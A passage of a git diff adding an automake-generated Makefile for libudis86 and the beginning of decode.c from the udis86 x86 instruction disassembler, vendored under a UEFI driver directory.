+all: $(BUILT_SOURCES) + $(MAKE) $(AM_MAKEFLAGS) all-am + +.SUFFIXES: +.SUFFIXES: .c .lo .o .obj +$(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps) + @for dep in $?; do \ + case '$(am__configure_deps)' in \ + *$$dep*) \ + ( cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh ) \ + && { if test -f $@; then exit 0; else break; fi; }; \ + exit 1;; \ + esac; \ + done; \ + echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign libudis86/Makefile'; \ + $(am__cd) $(top_srcdir) && \ + $(AUTOMAKE) --foreign libudis86/Makefile +.PRECIOUS: Makefile +Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status + @case '$?' in \ + *config.status*) \ + cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \ + *) \ + echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \ + cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \ + esac; + +$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES) + cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh + +$(top_srcdir)/configure: $(am__configure_deps) + cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh +$(ACLOCAL_M4): $(am__aclocal_m4_deps) + cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh +$(am__aclocal_m4_deps): + +install-libLTLIBRARIES: $(lib_LTLIBRARIES) + @$(NORMAL_INSTALL) + @list='$(lib_LTLIBRARIES)'; test -n "$(libdir)" || list=; \ + list2=; for p in $$list; do \ + if test -f $$p; then \ + list2="$$list2 $$p"; \ + else :; fi; \ + done; \ + test -z "$$list2" || { \ + echo " $(MKDIR_P) '$(DESTDIR)$(libdir)'"; \ + $(MKDIR_P) "$(DESTDIR)$(libdir)" || exit 1; \ + echo " $(LIBTOOL) $(AM_LIBTOOLFLAGS) $(LIBTOOLFLAGS) --mode=install $(INSTALL) $(INSTALL_STRIP_FLAG) $$list2 '$(DESTDIR)$(libdir)'"; \ + $(LIBTOOL) $(AM_LIBTOOLFLAGS) $(LIBTOOLFLAGS) --mode=install $(INSTALL) $(INSTALL_STRIP_FLAG) $$list2 "$(DESTDIR)$(libdir)"; \ + } + +uninstall-libLTLIBRARIES: + @$(NORMAL_UNINSTALL) + @list='$(lib_LTLIBRARIES)'; test -n "$(libdir)" || list=; \ + for p in $$list; do \ + $(am__strip_dir) \ + echo " $(LIBTOOL) $(AM_LIBTOOLFLAGS) $(LIBTOOLFLAGS) --mode=uninstall rm -f '$(DESTDIR)$(libdir)/$$f'"; \ + $(LIBTOOL) $(AM_LIBTOOLFLAGS) $(LIBTOOLFLAGS) --mode=uninstall rm -f "$(DESTDIR)$(libdir)/$$f"; \ + done + +clean-libLTLIBRARIES: + -test -z "$(lib_LTLIBRARIES)" || rm -f $(lib_LTLIBRARIES) + @list='$(lib_LTLIBRARIES)'; \ + locs=`for p in $$list; do echo $$p; done | \ + sed 's|^[^/]*$$|.|; s|/[^/]*$$||; s|$$|/so_locations|' | \ + sort -u`; \ + test -z "$$locs" || { \ + echo rm -f $${locs}; \ + rm -f $${locs}; \ + } +libudis86.la: $(libudis86_la_OBJECTS) $(libudis86_la_DEPENDENCIES) $(EXTRA_libudis86_la_DEPENDENCIES) + $(AM_V_CCLD)$(libudis86_la_LINK) -rpath $(libdir) $(libudis86_la_OBJECTS) $(libudis86_la_LIBADD) $(LIBS) + +mostlyclean-compile: + -rm -f *.$(OBJEXT) + +distclean-compile: + -rm -f *.tab.c + +@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/decode.Plo@am__quote@ +@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/itab.Plo@am__quote@ +@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/syn-att.Plo@am__quote@ +@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/syn-intel.Plo@am__quote@ +@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/syn.Plo@am__quote@ +@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/udis86.Plo@am__quote@ + +.c.o: +@am__fastdepCC_TRUE@ $(AM_V_CC)$(COMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ $< +@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Po +@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='$<' object='$@' libtool=no @AMDEPBACKSLASH@ +@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ +@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(COMPILE) -c $< + +.c.obj: +@am__fastdepCC_TRUE@ $(AM_V_CC)$(COMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ `$(CYGPATH_W) '$<'` +@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Po +@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='$<' object='$@' libtool=no @AMDEPBACKSLASH@ +@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ +@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(COMPILE) -c `$(CYGPATH_W) '$<'` + +.c.lo: +@am__fastdepCC_TRUE@ $(AM_V_CC)$(LTCOMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ $< +@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Plo +@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='$<' object='$@' libtool=yes @AMDEPBACKSLASH@ +@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ +@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(LTCOMPILE) -c -o $@ $< + +mostlyclean-libtool: + -rm -f *.lo + +clean-libtool: + -rm -rf .libs _libs +install-include_laHEADERS: $(include_la_HEADERS) + @$(NORMAL_INSTALL) + @list='$(include_la_HEADERS)'; test -n "$(include_ladir)" || list=; \ + if test -n "$$list"; then \ + echo " $(MKDIR_P) '$(DESTDIR)$(include_ladir)'"; \ + $(MKDIR_P) "$(DESTDIR)$(include_ladir)" || exit 1; \ + fi; \ + for p in $$list; do \ + if test -f "$$p"; then d=; else d="$(srcdir)/"; fi; \ + echo "$$d$$p"; \ + done | $(am__base_list) | \ + while read files; do \ + echo " $(INSTALL_HEADER) $$files '$(DESTDIR)$(include_ladir)'"; \ + $(INSTALL_HEADER) $$files "$(DESTDIR)$(include_ladir)" || exit $$?; \ + done + +uninstall-include_laHEADERS: + @$(NORMAL_UNINSTALL) + @list='$(include_la_HEADERS)'; test -n "$(include_ladir)" || list=; \ + files=`for p in $$list; do echo $$p; done | sed -e 's|^.*/||'`; \ + dir='$(DESTDIR)$(include_ladir)'; $(am__uninstall_files_from_dir) + +ID: $(am__tagged_files) + $(am__define_uniq_tagged_files); mkid -fID $$unique +tags: tags-am +TAGS: tags + +tags-am: $(TAGS_DEPENDENCIES) $(am__tagged_files) + set x; \ + here=`pwd`; \ + $(am__define_uniq_tagged_files); \ + shift; \ + if test -z "$(ETAGS_ARGS)$$*$$unique"; then :; else \ + test -n "$$unique" || unique=$$empty_fix; \ + if test $$# -gt 0; then \ + $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ + "$$@" $$unique; \ + else \ + $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ + $$unique; \ + fi; \ + fi +ctags: ctags-am + +CTAGS: ctags +ctags-am: $(TAGS_DEPENDENCIES) $(am__tagged_files) + $(am__define_uniq_tagged_files); \ + test -z "$(CTAGS_ARGS)$$unique" \ + || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \ + $$unique + +GTAGS: + here=`$(am__cd) $(top_builddir) && pwd` \ + && $(am__cd) $(top_srcdir) \ + && gtags -i $(GTAGS_ARGS) "$$here" +cscopelist: cscopelist-am + +cscopelist-am: $(am__tagged_files) + list='$(am__tagged_files)'; \ + case "$(srcdir)" in \ + [\\/]* | ?:[\\/]*) sdir="$(srcdir)" ;; \ + *) sdir=$(subdir)/$(srcdir) ;; \ + esac; \ + for i in $$list; do \ + if test -f "$$i"; then \ + echo "$(subdir)/$$i"; \ + else \ + echo "$$sdir/$$i"; \ + fi; \ + done >> $(top_builddir)/cscope.files + +distclean-tags: + -rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags + +distdir: $(DISTFILES) + @srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ + topsrcdirstrip=`echo "$(top_srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ + list='$(DISTFILES)'; \ + dist_files=`for file in $$list; do echo $$file; done | \ + sed -e "s|^$$srcdirstrip/||;t" \ + -e "s|^$$topsrcdirstrip/|$(top_builddir)/|;t"`; \ + case $$dist_files in \ + */*) $(MKDIR_P) `echo "$$dist_files" | \ + sed '/\//!d;s|^|$(distdir)/|;s,/[^/]*$$,,' | \ + sort -u` ;; \ + esac; \ + for file in $$dist_files; do \ + if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \ + if test -d $$d/$$file; then \ + dir=`echo "/$$file" | sed -e 's,/[^/]*$$,,'`; \ + if test -d "$(distdir)/$$file"; then \ + find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ + fi; \ + if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \ + cp -fpR $(srcdir)/$$file "$(distdir)$$dir" || exit 1; \ + find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ + fi; \ + cp -fpR $$d/$$file "$(distdir)$$dir" || exit 1; \ + else \ + test -f "$(distdir)/$$file" \ + || cp -p $$d/$$file "$(distdir)/$$file" \ + || exit 1; \ + fi; \ + done +check-am: all-am +check: $(BUILT_SOURCES) + $(MAKE) $(AM_MAKEFLAGS) check-am +all-am: Makefile $(LTLIBRARIES) $(HEADERS) +installdirs: + for dir in "$(DESTDIR)$(libdir)" "$(DESTDIR)$(include_ladir)"; do \ + test -z "$$dir" || $(MKDIR_P) "$$dir"; \ + done +install: $(BUILT_SOURCES) + $(MAKE) $(AM_MAKEFLAGS) install-am +install-exec: install-exec-am +install-data: install-data-am +uninstall: uninstall-am + +install-am: all-am + @$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am + +installcheck: installcheck-am +install-strip: + if test -z '$(STRIP)'; then \ + $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ + install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ + install; \ + else \ + $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ + install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ + "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'" install; \ + fi +mostlyclean-generic: + +clean-generic: + +distclean-generic: + -test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) + -test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES) + +maintainer-clean-generic: + @echo "This command is intended for maintainers to use" + @echo "it deletes files that may require special tools to rebuild." + -test -z "$(BUILT_SOURCES)" || rm -f $(BUILT_SOURCES) + -test -z "$(MAINTAINERCLEANFILES)" || rm -f $(MAINTAINERCLEANFILES) +clean: clean-am + +clean-am: clean-generic clean-libLTLIBRARIES clean-libtool clean-local \ + mostlyclean-am + +distclean: distclean-am + -rm -rf ./$(DEPDIR) + -rm -f Makefile +distclean-am: clean-am distclean-compile distclean-generic \ + distclean-tags + +dvi: dvi-am + +dvi-am: + +html: html-am + +html-am: + +info: info-am + +info-am: + +install-data-am: install-include_laHEADERS + +install-dvi: install-dvi-am + +install-dvi-am: + +install-exec-am: install-libLTLIBRARIES + +install-html: install-html-am + +install-html-am: + +install-info: install-info-am + +install-info-am: + +install-man: + +install-pdf: install-pdf-am + +install-pdf-am: + +install-ps: install-ps-am + +install-ps-am: + +installcheck-am: + +maintainer-clean: maintainer-clean-am + -rm -rf ./$(DEPDIR) + -rm -f Makefile +maintainer-clean-am: distclean-am maintainer-clean-generic \ + maintainer-clean-local + +mostlyclean: mostlyclean-am + +mostlyclean-am: mostlyclean-compile mostlyclean-generic \ + mostlyclean-libtool + +pdf: pdf-am + +pdf-am: + +ps: ps-am + +ps-am: + +uninstall-am: uninstall-include_laHEADERS uninstall-libLTLIBRARIES + +.MAKE: all check install install-am install-strip + +.PHONY: CTAGS GTAGS TAGS all all-am check check-am clean clean-generic \ + clean-libLTLIBRARIES clean-libtool clean-local cscopelist-am \ + ctags ctags-am distclean distclean-compile distclean-generic \ + distclean-libtool distclean-tags distdir dvi dvi-am html \ + html-am info info-am install install-am install-data \ + install-data-am install-dvi install-dvi-am install-exec \ + install-exec-am install-html install-html-am \ + install-include_laHEADERS install-info install-info-am \ + install-libLTLIBRARIES install-man install-pdf install-pdf-am \ + install-ps install-ps-am install-strip installcheck \ + installcheck-am installdirs maintainer-clean \ + maintainer-clean-generic maintainer-clean-local mostlyclean \ + mostlyclean-compile mostlyclean-generic mostlyclean-libtool \ + pdf pdf-am ps ps-am tags tags-am uninstall uninstall-am \ + uninstall-include_laHEADERS uninstall-libLTLIBRARIES + + +itab.c itab.h: $(OPTABLE) \ + $(top_srcdir)/scripts/ud_itab.py \ + $(top_srcdir)/scripts/ud_opcode.py \ + $(top_srcdir)/scripts/ud_optable.py + $(PYTHON) $(top_srcdir)/scripts/ud_itab.py $(OPTABLE) $(srcdir) + +clean-local: + rm -rf $(BUILT_SOURCES) + +maintainer-clean-local: + +# Tell versions [3.59,3.63) of GNU make to not export all variables. +# Otherwise a system limit (for SysV at least) may be exceeded. +.NOEXPORT: diff --git a/UefiDriver/udis86/libudis86/decode.c b/UefiDriver/udis86/libudis86/decode.c new file mode 100644 index 0000000..cccf2ab --- /dev/null +++ b/UefiDriver/udis86/libudis86/decode.c @@ -0,0 +1,1232 @@ +/* udis86 - libudis86/decode.c + * + * Copyright (c) 2002-2009 Vivek Thampi + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON + * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#include "udint.h" +#include "types.h" +#include "decode.h" + +#ifndef __UD_STANDALONE__ +# include +#endif /* __UD_STANDALONE__ */ + +/* The max number of prefixes to an instruction */ +#define MAX_PREFIXES 15 + +/* rex prefix bits */ +#define REX_W(r) ( ( 0xF & ( r ) ) >> 3 ) +#define REX_R(r) ( ( 0x7 & ( r ) ) >> 2 ) +#define REX_X(r) ( ( 0x3 & ( r ) ) >> 1 ) +#define REX_B(r) ( ( 0x1 & ( r ) ) >> 0 ) +#define REX_PFX_MASK(n) ( ( P_REXW(n) << 3 ) | \ + ( P_REXR(n) << 2 ) | \ + ( P_REXX(n) << 1 ) | \ + ( P_REXB(n) << 0 ) ) + +/* scable-index-base bits */ +#define SIB_S(b) ( ( b ) >> 6 ) +#define SIB_I(b) ( ( ( b ) >> 3 ) & 7 ) +#define SIB_B(b) ( ( b ) & 7 ) + +/* modrm bits */ +#define MODRM_REG(b) ( ( ( b ) >> 3 ) & 7 ) +#define MODRM_NNN(b) ( ( ( b ) >> 3 ) & 7 ) +#define MODRM_MOD(b) ( ( ( b ) >> 6 ) & 3 ) +#define MODRM_RM(b) ( ( b ) & 7 ) + +static int decode_ext( struct ud *u, uint16_t ptr ); + +enum reg_class +{ /* register classes */ + REGCLASS_GPR, + REGCLASS_MMX, + REGCLASS_CR, + REGCLASS_DB, + REGCLASS_SEG, + REGCLASS_XMM +}; + + /* + * inp_start + * Should be called before each de-code operation. + */ +static void +inp_start( struct ud *u ) +{ + u->inp_ctr = 0; +} + + +static uint8_t +inp_next( struct ud *u ) +{ + if (u->inp_end == 0) + { + if (u->inp_buf != NULL) + { + if (u->inp_buf_index < u->inp_buf_size) + { + u->inp_ctr++; + return (u->inp_curr = u->inp_buf[u->inp_buf_index++]); + } + } + else + { + int c; + if ((c = u->inp_hook( u )) != UD_EOI) + { + u->inp_curr = (uint8_t)c; + u->inp_sess[u->inp_ctr++] = u->inp_curr; + return u->inp_curr; + } + } + } + u->inp_end = 1; + UDERR( u, "byte expected, eoi received\n" ); + return 0; +} + +static uint8_t +inp_curr( struct ud *u ) +{ + return u->inp_curr; +} + + +/* + * inp_uint8 + * int_uint16 + * int_uint32 + * int_uint64 + * Load little-endian values from input + */ +static uint8_t +inp_uint8( struct ud* u ) +{ + return inp_next( u ); +} + +static uint16_t +inp_uint16( struct ud* u ) +{ + uint16_t r, ret; + + ret = inp_next( u ); + r = inp_next( u ); + return ret | (r << 8); +} + +static uint32_t +inp_uint32( struct ud* u ) +{ + uint32_t r, ret; + + ret = inp_next( u ); + r = inp_next( u ); + ret = ret | (r << 8); + r = inp_next( u ); + ret = ret | (r << 16); + r = inp_next( u ); + return ret | (r << 24); +} + +static uint64_t +inp_uint64( struct ud* u ) +{ + uint64_t r, ret; + + ret = inp_next( u ); + r = inp_next( u ); + ret = ret | (r << 8); + r = inp_next( u ); + ret = ret | (r << 16); + r = inp_next( u ); + ret = ret | (r << 24); + r = inp_next( u ); + ret = ret | (r << 32); + r = inp_next( u ); + ret = ret | (r << 40); + r = inp_next( u ); + ret = ret | (r << 48); + r = inp_next( u ); + return ret | (r << 56); +} + + +static inline int +eff_opr_mode( int dis_mode, int rex_w, int pfx_opr ) +{ + if (dis_mode == 64) + { + return rex_w ? 64 : (pfx_opr ? 16 : 32); + } + else if (dis_mode == 32) + { + return pfx_opr ? 16 : 32; + } + else + { + UD_ASSERT( dis_mode == 16 ); + return pfx_opr ? 32 : 16; + } +} + + +static inline int +eff_adr_mode( int dis_mode, int pfx_adr ) +{ + if (dis_mode == 64) + { + return pfx_adr ? 32 : 64; + } + else if (dis_mode == 32) + { + return pfx_adr ? 16 : 32; + } + else + { + UD_ASSERT( dis_mode == 16 ); + return pfx_adr ? 32 : 16; + } +} + + +/* + * decode_prefixes + * + * Extracts instruction prefixes. + */ +static int +decode_prefixes( struct ud *u ) +{ + int done = 0; + uint8_t curr = 0; + uint8_t last = 0; + UD_RETURN_ON_ERROR( u ); + + do + { + last = curr; + curr = inp_next( u ); + UD_RETURN_ON_ERROR( u ); + if (u->inp_ctr == MAX_INSN_LENGTH) + { + UD_RETURN_WITH_ERROR( u, "max instruction length" ); + } + + switch (curr) + { + case 0x2E: + u->pfx_seg = UD_R_CS; + break; + case 0x36: + u->pfx_seg = UD_R_SS; + break; + case 0x3E: + u->pfx_seg = UD_R_DS; + break; + case 0x26: + u->pfx_seg = UD_R_ES; + break; + case 0x64: + u->pfx_seg = UD_R_FS; + break; + case 0x65: + u->pfx_seg = UD_R_GS; + break; + case 0x67: /* adress-size override prefix */ + u->pfx_adr = 0x67; + break; + case 0xF0: + u->pfx_lock = 0xF0; + break; + case 0x66: + u->pfx_opr = 0x66; + break; + case 0xF2: + u->pfx_str = 0xf2; + break; + case 0xF3: + u->pfx_str = 0xf3; + break; + default: + /* consume if rex */ + done = (u->dis_mode == 64 && (curr & 0xF0) == 0x40) ? 0 : 1; + break; + } + } while (!done); + /* rex prefixes in 64bit mode, must be the last prefix */ + if (u->dis_mode == 64 && (last & 0xF0) == 0x40) + { + u->pfx_rex = last; + } + return 0; +} + + +static inline unsigned int modrm( struct ud * u ) +{ + if (!u->have_modrm) + { + u->modrm = inp_next( u ); + u->have_modrm = 1; + } + return u->modrm; +} + + +static unsigned int +resolve_operand_size( const struct ud * u, unsigned int s ) +{ + switch (s) + { + case SZ_V: + return (u->opr_mode); + case SZ_Z: + return (u->opr_mode == 16) ? 16 : 32; + case SZ_Y: + return (u->opr_mode == 16) ? 32 : u->opr_mode; + case SZ_RDQ: + return (u->dis_mode == 64) ? 64 : 32; + default: + return s; + } +} + + +static int resolve_mnemonic( struct ud* u ) +{ + /* resolve 3dnow weirdness. */ + if (u->mnemonic == UD_I3dnow) + { + u->mnemonic = ud_itab[u->le->table[inp_curr( u )]].mnemonic; + } + /* SWAPGS is only valid in 64bits mode */ + if (u->mnemonic == UD_Iswapgs && u->dis_mode != 64) + { + UDERR( u, "swapgs invalid in 64bits mode\n" ); + return -1; + } + + if (u->mnemonic == UD_Ixchg) + { + if ((u->operand[0].type == UD_OP_REG && u->operand[0].base == UD_R_AX && + u->operand[1].type == UD_OP_REG && u->operand[1].base == UD_R_AX) || + (u->operand[0].type == UD_OP_REG && u->operand[0].base == UD_R_EAX && + u->operand[1].type == UD_OP_REG && u->operand[1].base == UD_R_EAX)) + { + u->operand[0].type = UD_NONE; + u->operand[1].type = UD_NONE; + u->mnemonic = UD_Inop; + } + } + + if (u->mnemonic == UD_Inop && u->pfx_repe) + { + u->pfx_repe = 0; + u->mnemonic = UD_Ipause; + } + return 0; +} + + +/* ----------------------------------------------------------------------------- + * decode_a()- Decodes operands of the type seg:offset + * ----------------------------------------------------------------------------- + */ +static void +decode_a( struct ud* u, struct ud_operand *op ) +{ + if (u->opr_mode == 16) + { +/* seg16:off16 */ + op->type = UD_OP_PTR; + op->size = 32; + op->lval.ptr.off = inp_uint16( u ); + op->lval.ptr.seg = inp_uint16( u ); + } + else + { + /* seg16:off32 */ + op->type = UD_OP_PTR; + op->size = 48; + op->lval.ptr.off = inp_uint32( u ); + op->lval.ptr.seg = inp_uint16( u ); + } +} + +/* ----------------------------------------------------------------------------- + * decode_gpr() - Returns decoded General Purpose Register + * ----------------------------------------------------------------------------- + */ +static enum ud_type +decode_gpr( register struct ud* u, unsigned int s, unsigned char rm ) +{ + switch (s) + { + case 64: + return UD_R_RAX + rm; + case 32: + return UD_R_EAX + rm; + case 16: + return UD_R_AX + rm; + case 8: + if (u->dis_mode == 64 && u->pfx_rex) + { + if (rm >= 4) + return UD_R_SPL + (rm - 4); + return UD_R_AL + rm; + } + else return UD_R_AL + rm; + case 0: + /* invalid size in case of a decode error */ + UD_ASSERT( u->error ); + return UD_NONE; + default: + UD_ASSERT( !"invalid operand size" ); + return UD_NONE; + } +} + +static void +decode_reg( struct ud *u, + struct ud_operand *opr, + int type, + int num, + int size ) +{ + int reg; + size = resolve_operand_size( u, size ); + switch (type) + { + case REGCLASS_GPR: reg = decode_gpr( u, size, (unsigned char)num ); break; + case REGCLASS_MMX: reg = UD_R_MM0 + (num & 7); break; + case REGCLASS_XMM: reg = UD_R_XMM0 + num; break; + case REGCLASS_CR: reg = UD_R_CR0 + num; break; + case REGCLASS_DB: reg = UD_R_DR0 + num; break; + case REGCLASS_SEG: + { +/* + * Only 6 segment registers, anything else is an error. + */ + if ((num & 7) > 5) + { + UDERR( u, "invalid segment register value\n" ); + return; + } + else + { + reg = UD_R_ES + (num & 7); + } + break; + } + default: + UD_ASSERT( !"invalid register type" ); + return; + } + opr->type = UD_OP_REG; + opr->base = reg; + opr->size = (uint8_t)size; +} + + +/* + * decode_imm + * + * Decode Immediate values. + */ +static void +decode_imm( struct ud* u, unsigned int size, struct ud_operand *op ) +{ + op->size = (uint8_t)resolve_operand_size( u, size ); + op->type = UD_OP_IMM; + + switch (op->size) + { + case 8: op->lval.sbyte = inp_uint8( u ); break; + case 16: op->lval.uword = inp_uint16( u ); break; + case 32: op->lval.udword = inp_uint32( u ); break; + case 64: op->lval.uqword = inp_uint64( u ); break; + default: return; + } +} + + +/* + * decode_mem_disp + * + * Decode mem address displacement. + */ +static void +decode_mem_disp( struct ud* u, unsigned int size, struct ud_operand *op ) +{ + switch (size) + { + case 8: + op->offset = 8; + op->lval.ubyte = inp_uint8( u ); + break; + case 16: + op->offset = 16; + op->lval.uword = inp_uint16( u ); + break; + case 32: + op->offset = 32; + op->lval.udword = inp_uint32( u ); + break; + case 64: + op->offset = 64; + op->lval.uqword = inp_uint64( u ); + break; + default: + return; + } +} + + +/* + * decode_modrm_reg + * + * Decodes reg field of mod/rm byte + * + */ +static inline void +decode_modrm_reg( struct ud *u, + struct ud_operand *operand, + unsigned int type, + unsigned int size ) +{ + uint8_t reg = (REX_R( u->pfx_rex ) << 3) | MODRM_REG( modrm( u ) ); + decode_reg( u, operand, type, reg, size ); +} + + +/* + * decode_modrm_rm + * + * Decodes rm field of mod/rm byte + * + */ +static void +decode_modrm_rm( struct ud *u, + struct ud_operand *op, + unsigned char type, /* register type */ + unsigned int size ) /* operand size */ + +{ + size_t offset = 0; + unsigned char mod, rm; + + /* get mod, r/m and reg fields */ + mod = MODRM_MOD( modrm( u ) ); + rm = (REX_B( u->pfx_rex ) << 3) | MODRM_RM( modrm( u ) ); + + /* + * If mod is 11b, then the modrm.rm specifies a register. + * + */ + if (mod == 3) + { + decode_reg( u, op, type, rm, size ); + return; + } + + /* + * !11b => Memory Address + */ + op->type = UD_OP_MEM; + op->size = (uint8_t)resolve_operand_size( u, size ); + + if (u->adr_mode == 64) + { + op->base = UD_R_RAX + rm; + if (mod == 1) + { + offset = 8; + } + else if (mod == 2) + { + offset = 32; + } + else if (mod == 0 && (rm & 7) == 5) + { + op->base = UD_R_RIP; + offset = 32; + } + else + { + offset = 0; + } + /* + * Scale-Index-Base (SIB) + */ + if ((rm & 7) == 4) + { + inp_next( u ); + + op->scale = (1 << SIB_S( inp_curr( u ) )) & ~1; + op->index = UD_R_RAX + (SIB_I( inp_curr( u ) ) | (REX_X( u->pfx_rex ) << 3)); + op->base = UD_R_RAX + (SIB_B( inp_curr( u ) ) | (REX_B( u->pfx_rex ) << 3)); + + /* special conditions for base reference */ + if (op->index == UD_R_RSP) + { + op->index = UD_NONE; + op->scale = UD_NONE; + } + + if (op->base == UD_R_RBP || op->base == UD_R_R13) + { + if (mod == 0) + { + op->base = UD_NONE; + } + if (mod == 1) + { + offset = 8; + } + else + { + offset = 32; + } + } + } + } + else if (u->adr_mode == 32) + { + op->base = UD_R_EAX + rm; + if (mod == 1) + { + offset = 8; + } + else if (mod == 2) + { + offset = 32; + } + else if (mod == 0 && rm == 5) + { + op->base = UD_NONE; + offset = 32; + } + else + { + offset = 0; + } + + /* Scale-Index-Base (SIB) */ + if ((rm & 7) == 4) + { + inp_next( u ); + + op->scale = (1 << SIB_S( inp_curr( u ) )) & ~1; + op->index = UD_R_EAX + (SIB_I( inp_curr( u ) ) | (REX_X( u->pfx_rex ) << 3)); + op->base = UD_R_EAX + (SIB_B( inp_curr( u ) ) | (REX_B( u->pfx_rex ) << 3)); + + if (op->index == UD_R_ESP) + { + op->index = UD_NONE; + op->scale = UD_NONE; + } + + /* special condition for base reference */ + if (op->base == UD_R_EBP) + { + if (mod == 0) + { + op->base = UD_NONE; + } + if (mod == 1) + { + offset = 8; + } + else + { + offset = 32; + } + } + } + } + else + { + const unsigned int bases[] = { UD_R_BX, UD_R_BX, UD_R_BP, UD_R_BP, + UD_R_SI, UD_R_DI, UD_R_BP, UD_R_BX }; + const unsigned int indices[] = { UD_R_SI, UD_R_DI, UD_R_SI, UD_R_DI, + UD_NONE, UD_NONE, UD_NONE, UD_NONE }; + op->base = bases[rm & 7]; + op->index = indices[rm & 7]; + if (mod == 0 && rm == 6) + { + offset = 16; + op->base = UD_NONE; + } + else if (mod == 1) + { + offset = 8; + } + else if (mod == 2) + { + offset = 16; + } + } + + if (offset) + { + decode_mem_disp( u, (unsigned int)offset, op ); + } +} + + +/* + * decode_moffset + * Decode offset-only memory operand + */ +static void +decode_moffset( struct ud *u, unsigned int size, struct ud_operand *opr ) +{ + opr->type = UD_OP_MEM; + opr->size = (uint8_t)resolve_operand_size( u, size ); + decode_mem_disp( u, u->adr_mode, opr ); +} + + +/* 